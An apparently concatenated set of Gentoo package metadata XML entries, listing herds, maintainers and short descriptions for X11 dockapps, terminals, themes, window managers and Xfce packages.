+<pkgmetadata pkgname="x11-plugins/wmix">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmail">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmaiload">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmemload">
+<herd>desktop-dock</herd>
+<longdescription>
+wmmemload is a simple dockapp for WindowMaker that displays memory and swap 
+space usage. It is very heavily based on WMMemMon and WMCPULoad.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmemmon">
+<herd>desktop-dock</herd>
+<longdescription>
+WMMemMon is a program to monitor memory/swap usages. It is a dockapp that is 
+supported by X window managers such as Window Maker, AfterStep, BlackBox, and 
+Enlightenment. The current memory usage is displaied as the outside pie-slices. 
+The swap usage is represented by the inside slices. It has an LCD look-alike 
+user interface. The back light may be turned on/off by clicking the mouse 
+button over the appliacation.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmixer-alsa">
+<herd>desktop-dock</herd>
+<longdescription>
+Wmmixer-alsa is a WindowMaker applet that lets you set the volume on the alsa 
+mixer devices very easily.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmldonkey">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmon+smp">
+<herd>desktop-dock</herd>
+<longdescription>
+WMMon+SMP shows real-time CPU usage on SMP machines. Only Dual-processor 
+systems are supported. A load average graph a.k.a. wmloadavg/xload is also 
+provided. WMMon+SMP is based on WMMon 1.0b2 and does not display I/O or memory 
+statistics.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmon">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmp">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmmsg">
+<herd>desktop-dock</herd>
+<longdescription>
+wmmsg is a dockapp that informs you of new events, such as incoming chat 
+messages, by displaying related icons and arrival times. A notification 
+program, wmmsg_notify, is included to send events to the dockapp. This can be 
+called from messaging clients, or any other useful location.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmnd">
+<herd>desktop-dock</herd>
+<longdescription>
+WMND (Window Maker Network Devices) is a  dockapp
+for monitoring multiple network  interfaces
+simultaneously. Based on WMiFS  1.3b, WMND has
+been almost totally re-written  and is more
+optimized, flexible, and consumes  less CPU time
+than wmmon.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmnet">
+<herd>desktop-dock</herd>
+<longdescription>
+wmnet polls network statistics and does a few things with the data it gets. It 
+has small blinking lights for the rx and tx of ip packets, a digital 
+speedometer of your tcp/ip stack's current speed and neatest of all, a bar 
+graph like xload et. al which has a tx speed graph from bottom-up and rx speed 
+graph from the top-down. The speedometer keeps track of the current speed per 
+second and shows it in a color corresponding to which of rx or tx that has the 
+highest speed at the moment.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmnetload">
+<herd>desktop-dock</herd>
+<longdescription>
+wmnetload is a network interface monitor dockapp  for Window Maker. It is 
+designed to fit well with  dockapps like wmcpuload and wmmemmon. It tracks 
+whether the interface is functioning and displays current network interface 
+throughput, along with an auto-scaling graph of recent network activity (the 
+graph separates upstream and downstream traffic load cleanly without resorting 
+to colors).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmnetmon">
+<herd>desktop-dock</herd>
+<longdescription>
+wmnetmon is a dockapp that monitors up to 40 
+hosts or services and can execute something  there
+is a problem with any of them. The hosts  and
+services are represented by LEDs, which  blink red
+if they go down.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmnetselect">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpager">
+	<herd>gnustep</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpasman">
+<herd>desktop-dock</herd>
+<longdescription>
+wmpasman stores passwords and makes them available
+for pasting (both via the middle-click primary
+selection and the clipboard selection) at the
+click of a button. It also contains a digital
+clock. Access is controlled by a passphrase.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpinboard">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpop">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpop3">
+<herd>desktop-dock</herd>
+<longdescription>
+WMPop3 is a Window Maker dockable app which will check a pop3 mail server and 
+report how many messages are waiting( new and old ). Check it out!
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpop3lb">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmpower">
+<herd>desktop-dock</herd>
+<longdescription>
+wmpower is a Window Maker dock application
+allowing the user to graphically see (and set) the
+power management status of his laptop. It works
+with both APM and ACPI enabled kernels.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmppp">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmsensormon">
+<herd>desktop-dock</herd>
+<longdescription>
+Wmsensormon is a dockapp for Window Maker that utilizes lm_sensors to monitor 
+CPU temp, sys temp, fan speeds, and CPU voltage. It offers configurable 
+warnings for over-heating, and the sensors displayed are adjustible by the user
+with commandline parameters.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmsmixer">
+<herd>desktop-dock</herd>
+<longdescription>
+WMsmixer is a hack to wmmixer which makes some changes to the display
+and adds a few new features, most notably scrollwheel support. It also
+includes a numeric volume indicator.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmspaceclock">
+<herd>desktop-dock</herd>
+<longdescription>
+wmspaceclock (or spaceclock for short) is an antialiased analog clock for the 
+Window Maker dock to show the current local time. It has configurable 
+background and configurable antialiased hand shapes (vector-based) and comes 
+with more than a dozen themes.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmswallow">
+<herd>desktop-dock</herd>
+<longdescription>
+wmswallow is a WindowMaker dock applet that makes any application dockable. You 
+can define an action to be taken on a mouseclick if the window does not receive 
+mouseclicks itself, and you can define the size and width of the swallowed 
+window on the commandline. Applications may be started on the commandline and 
+specified via name, class, or window-id.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmsysmon">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmtimer">
+<herd>desktop-dock</herd>
+<longdescription>
+WMTimer is a dockable alarm clock for Windowmaker or Blackbox which can be run 
+in alarm, countdown timer, or chronograph mode. In alarm or timer mode, you can 
+either execute a command or sound the system bell when the time is reached. 
+WMTimer is configurable through the command line or the GTK GUI.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmtop">
+<herd>desktop-dock</herd>
+<longdescription>
+wmtop is a WindowMaker dock app that displays the top 3 CPU-consuming processes 
+in graphical form - like 'top' but pretty and using less real estate on the 
+screen. It functions with just about any Linux distribution with a /proc 
+filesystem and FreeBSD. Under Linux, there is a switch to allow display of 
+physical memory usage rather than CPU usage.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmtz">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmupmon">
+<herd>desktop-dock</herd>
+<longdescription>
+wmUpMon is a dockapp for WindowMaker and 
+compatible WMs that displays your system uptime. 
+It is based on wmMemLoad. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmusic">
+<herd>desktop-dock</herd>
+<longdescription>
+wmusic is a dockapp that remote-controls xmms. Features include VCR-style 
+controls, Time and Playlist display, supa stylee rotating arrow, hiding of the 
+xmms windows and reactive interface.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmwave">
+<herd>no-herd</herd>
+<maintainer>
+  <email>fd@noxa.de</email>
+  <name>Florian Daniel</name>
+  <description>Testing</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmweather+">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmweather">
+<herd>desktop-dock</herd>
+<longdescription>
+wmweather displays your current local weather conditions. After supplying a 
+4-character METAR station identifier code (most major airports have one), it 
+shows station ID, time of the last update, temperature, dew point, pressure, 
+humidity, and wind speed. The various entries can be forced to display in a 
+variety of different units.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmxmms">
+<herd>desktop-dock</herd>
+<longdescription>
+WMxmms is a dockable xmms frontend for Window
+Maker, Afterstep and any other window manager that
+accepts dockable apps. It should be compatible
+with all versions of xmms.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/eterm">
+<herd>no-herd</herd>
+<maintainer>
+<email>vapier@gentoo.org</email>
+</maintainer>
+<longdescription>
+Eterm is a color vt102 terminal emulator intended as a replacement for 
+xterm. It is designed with a Freedom of Choice philosophy, leaving as 
+much power, flexibility, and freedom as possible in the hands of the 
+user. It is designed to look good and work well, but takes a 
+feature-rich approach rather than one of minimalism while still 
+maintaining speed and efficiency.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/gnome-terminal">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/hanterm">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/kterm">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/mlterm">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/multi-gnome-terminal">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/rxvt">
+<longdescription>
+rxvt is a color vt102 terminal emulator intended as an xterm(1)
+replacement for users who do not require features such as Tektronix
+4014 emulation and toolkit-style configurability.  As a result, rxvt
+uses much less swap space.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-terms/xvt">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+A tiny vt100 terminal emulator for X.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/commonbox-styles-extra">
+  <herd>commonbox</herd>
+  <longdescription>
+  A selection of even more styles for *box window managers.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/commonbox-styles">
+  <herd>commonbox</herd>
+  <longdescription>
+  A selection of styles for *box window managers.
+  </longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/fvwm-themes-extra">
+  <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gaim-smileys">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gdm-themes">
+<herd>gnome</herd>
+<maintainer><email>mksoft@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gnome-icon-theme">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gnome-themes-extras">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gnome-themes">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-begtk">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-crux">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-dwerg">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-eazel">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-flat">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-geramik">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-gtkstep">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-icegradient">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-lighthouseblue">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-mac2">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-magicchicken">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-mist">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-notif">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-notif2">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-pixbuf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-pixmap">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-raleigh">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-redmond95">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-smooth">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-thinice">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-xenophilia">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines-xfce">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-engines">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/gtk-themes">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/knifty">
+<herd>kde-themes</herd>
+</pkgmetadata>
+<!-- 
+
+This is the example metadata file.
+The root element of this file is <pkgmetadata>. Within this element a 
+number of subelements are allowed: herd, maintainer, and 
+longdescription. herd is a required subelement.
+
+For a full description look at:
+http://www.gentoo.org/proj/en/metastructure/herds
+
+
+Before committing, please remove the comments from this file. They are 
+not relevant for general metadata.xml files.
+--><pkgmetadata pkgname="x11-themes/korilla">
+<herd>no-herd</herd>
+<maintainer>
+  <email>@gentoo.org</email>
+<!--  <name>Full name</name> -->
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/mandrake-artwork">
+<maintainer><email>brad@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/mythtv-themes">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/noia">
+<herd>no-herd</herd>
+<maintainer>
+  <email>tad@gentoo.org</email>
+  <name>Troy Dack</name>
+</maintainer>
+ <longdescription>The Noia icon theme.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/openbox-themes">
+  <herd>commonbox</herd>
+  <longdescription>
+  A set of themes for Openbox 3, found at  http://home.clara.co.uk/dpb/openbox.htm
+  </longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/redhat-artwork">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-themes/ximian-artwork">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/aewm++-goodies">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	This package contains a modified fspanel and a small application launcher 
+	called appbar as well as a small program to set the root background image 
+	with a nice gradient or solid color.	
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/aewm++">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	The aewm++ window manager is a fork of the popular minimal window manager 
+	aewm for the X Windows System. What makes it different is its codebase, 
+	feature set and focus.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/aewm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	aewm is a minimalist window manager for X11. It has no nifty features, 
+	but is light on resources and extremely simple in appearance. It should 
+	eventually make a good reference implementation of the ICCCM. A few 
+	separate programs are included to handle running programs, switching 
+	between windows, etc.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/amiwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	amiwm is an X window manager that tries to make your display look and 
+	feel like an Amiga Workbench screen. It is fully functional and can do 
+	all the usual window manager stuff, like moving and resizing windows.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/blackbox">
+	<herd>commonbox</herd>
+	<longdescription>
+	 Blackbox is that fast, light window manager you have been looking for 
+	 without all those annoying library dependancies. If you have a C++ 
+	 compiler and the X Window System you can compile and use it.
+	 </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/ctwm">
+<herd>desktop-wm</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/enlightenment">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Enlightenment is a completely themeable, highly configurable Window Manager for 
+the X Window System, traditionally used in Unix environments.
+
+Enlightenment Features:
+* Fully configurable window borders
+* Iconboxes to store icons in
+* Graphical Pager that also does miniature snapshots of your screen
+* IPC mechanism to remote-control Enlightenment
+* Theme support
+* Menus
+* Translucent moving of windows
+* Window groups
+* Virtual Desktops
+* Multiple Desktops (more than one desktop of Virtual Desktops)
+* Desktop Background selection and management
+* Sound support
+* Multiple focus modes
+* Many resize and move mode settings
+* Manual placement of windows option
+* Autoraising of windows option
+* Tooltips
+* Configurable keybindings
+* Configurable desktop bindings
+* DGA support for fullscreen client zoom
+* Window shading
+* Miniature snapshot icons
+* Multiple border styles at once
+* Window layers
+* Array menus
+* Internal configuration dialogs
+* Auto-scrolling menus
+* KDE hint support
+* GNOME hint support
+* Primitive Windowmaker/Afterstep dock App support.
+* X11R6 session management support
+* Internal per-app based session and property management.
+* Background auto scanning support
+* Truetype anti-aliased font support
+* Window auto-cleanup support
+* Graphical on-line help.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/evilwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	A minimalist window manager for the X Window System. It maximises screen 
+	real estate and provides good keyboard control. It is currently based on 
+	aewm.
+	</longdescription>
+	<maintainer>
+	    <email>aether@gentoo.org</email>
+    	<name>Jason A. Mobarak</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/fluxbox">
+	<herd>commonbox</herd>
+	<longdescription>
+	Fluxbox is yet another windowmanager for X.
+	It's based on the Blackbox 0.61.1 code. Fluxbox looks like blackbox and 
+	handles styles, colors, window placement and similar thing exactly like 
+	blackbox (100% theme/style compability).
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/flwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	Flwm is an attempt to combine the best ideas from several window managers.
+	The primary influence and code base is from wm2.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/fvwm">
+<herd>desktop-wm</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+fvwm is an ICCCM-compliant X window manager providing a 3D look for window decorations, multiple discontiguous virtual desktops, a high degree of configurability, and an external module interface for implementing functional extensions.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/golem">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	Golem is an X11 Window Manager. Design goals are that it be fast, 
+	lightweight, and customizable (without sacrificing speed).
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/icewm">
+<herd>desktop-wm</herd>
+<maintainer>
+ <email>bcowan@gentoo.org</email>
+ <name>Brad Cowan</name>
+</maintainer>
+<maintainer>
+ <email>hanno@gentoo.org</email>
+</maintainer>
+<longdescription>
+IceWM is a window manager designed for speed, usability, and consistency. 
+It is able to emulate the looks of Motif, OS/2, and Windows, and allows you 
+to have a customizable look using pixmaps.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/ion-devel">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/ion">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	Ion is a tiling (no overlapping windows) window manager that also has 
+	PWM-style tabbed frames which can contain multiple client windows. These 
+	features help keeping windows organized and quickly switching between 
+	them. Ion was designed primarily as an efficient and unobtrusive window 
+	manager for users who prefer the keyboard.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/kahakai">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	Kahakai is a fork of the Waimea window manager, adding scripting support 
+	for many languages through SWIG.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/larswm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	larswm is a modified version of the 9wm window manager that adds virtual 
+	desktops, automatic window tiling, and many other features designed to 
+	make it a highly efficient user environment. One of the design goals is 
+	that you should never have to manually shuffle windows around on the 
+	screen. Another is that it should use as little CPU time, RAM, and screen 
+	space for itself as possible.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/lwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	lwm is a window manager for X that tries to keep out of your face. 
+	There are no icons, no button bars, no icon docks, no root menus, 
+	no nothing.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/matchbox">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/metacity">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/openbox">
+<herd>commonbox</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/oroborus-extras">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		Extras for the Oroborus window manager.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/oroborus">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		Oroborus is a small and simple but configurable and themeable window 
+		manager. There is no fancy dock, clip, wharf, or root menu - these 
+		utilities can be provided by other programs. It has support for GNOME 
+		and session management, or can be run as a stand-alone window manager.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/papuawm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		PapuaWM is a minimalistic windowmanager designed to let work and not 
+		glare at fancy window decorations. It gives you the possibillity to 
+		take advantage of your entire screen without loosing access to often 
+		used shortcuts.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/pekwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		Pekwm is a window manager based on aewm++, but it no longer resembles 
+		it. It is highly configurable, rather fast, and aimed towards being 
+		usable while remaining pretty enough to look at. Features include 
+		client window grouping into one window frame, automatic window size, 
+		location, grouping and title rewriting properties, keychains, Xinerama
+		support, pixmap theming, and dynamic menus.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/plwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		 PLWM is a Python package, containing classes suitable for 
+		 implementing a window manager. PLWM is also a window manager, 
+		 using the PLWM package.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/pwm">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		PWM is a rather lightweight window manager that can have multiple 
+		client windows attached to a single frame. This feature helps keeping 
+		windows, especially the numerous xterms, organized.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/qvwm">
+<herd>desktop-wm</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/ratpoison">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+  Ratpoison is a simple Window Manager with no fat library dependencies, no
+  fancy graphics, no window decorations, and no rodent dependence. It is
+  largely modelled after GNU Screen which has done wonders in the virtual
+  terminal market.
+
+  All windows are maximized and kept maximized to take full advantage of your
+  precious screen real estate.
+
+  All interaction with the window manager is done through keystrokes. ratpoison
+  has a prefix map to minimize the key clobbering that cripples Emacs and other
+  quality pieces of software. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/sawfish">
+<herd>gnome</herd>
+<maintainer>
+  <email>agriffis@gentoo.org</email>
+  <name>Aron Griffis</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/treewm">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name> 
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+ <longdescription>WindowManager that arranges the windows in a tree not a list</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/trswm">
+<herd>desktop-wm</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/vtwm">
+<herd>desktop-wm</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/waimea">
+<herd>desktop-wm</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/windowlab">
+	<herd>desktop-wm</herd>
+	<longdescription>
+	WindowLab is a small and simple window manager of novel design. It is 
+	click-to-focus, shares its window depth policy with the Amiga, and has 
+	a window resizing/reshaping method similar to that of 8-1/2 from Plan 9.
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-wm/wm2">
+<herd>desktop-wm</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/libxfce4mcs">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/libxfce4util">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/libxfcegui4">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce-mcs-manager">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce-mcs-plugins">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce-utils">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce4-base">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce4-panel">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce4-session">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfce4">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfdesktop">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xffm">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfprint">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-base/xfwm4">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-artwork">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-battery">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-clipman">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-datetime">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-diskperf">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-fsguard">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-iconbox">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-minicmd">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-mixer">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-netload">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-notes">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-showdesktop">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-systemload">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-systray">
+<herd>xfce</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="xfce-extra/xfce4-themes">
+<herd>xfce</herd>
+</pkgmetadata>
